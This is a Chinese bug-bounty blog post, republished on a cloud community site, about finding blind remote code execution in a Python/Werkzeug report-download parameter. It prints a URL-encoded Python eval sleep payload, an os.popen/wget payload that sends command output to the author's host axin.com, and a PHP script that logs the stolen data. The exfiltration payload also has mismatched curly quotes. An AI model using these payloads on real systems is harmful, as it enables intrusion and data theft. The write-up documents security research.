前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次曲折的RCE挖掘

记一次曲折的RCE挖掘

作者头像
tnt阿信
发布2020-09-10 17:42:19
5810
发布2020-09-10 17:42:19
举报
文章被收录于专栏:一个安全研究员

本漏洞由@Sh4dow供稿,?就完事儿了

简单记录一下这个漏洞,没啥特殊的手法,就是细心与fuzz?

目标应用有一个下载文件的功能,你可以以csv格式下载报告

抓包结果如下:

看起来好像没啥问题,但是响应中的Werkzaug与python吸引了我的注意,不了解Werkzaug的可以去看一下

我尝试着用一些其他的payload替换了params参数的值,都是报错,看起来真就没啥问题,我都准备不看这个点了,但是,当我用空参数的时候,服务器返回了500错误

这说明这个参数还是会影响服务器的运行的嘛(当然也不一定,这里只是我的一个猜测),为了进一步确定,我开始fuzz这个参数

最后把各种报错整理了一下,发现所有和python相关的payload都报了500错误?

看起来有戏,于是把python rce的payload进行了一下url编码,

eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29

成功执行,服务器产生了延时:

由于数据不会回显,我们就只有用其他手法来外带数据了,还记得上一篇文章的内容吗?

没有看上一篇文章的快回头去瞅瞅?

构造payload:

eval(compile("""for x in range(1):\n import os\n os.popen(r'wget http://axin.com:8000/shell.php?cmd="$(ls -la)”)read()”””,’’,’single’))

然后在我们的服务器axin.com上部署一份shell.php文件,文件内容如下:

代码语言:javascript
复制
<?php
$a = fopen('POC.txt', 'a');
fwrite($a, $_GET["cmd"]);
fclose($a);
?>

发送payload,并查看POC.txt文件的内容:

nice的不得了,当然,也可以直接弹shell

怕什么真理无穷,进一寸有进一寸的欢喜

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-09-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一个安全研究员 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档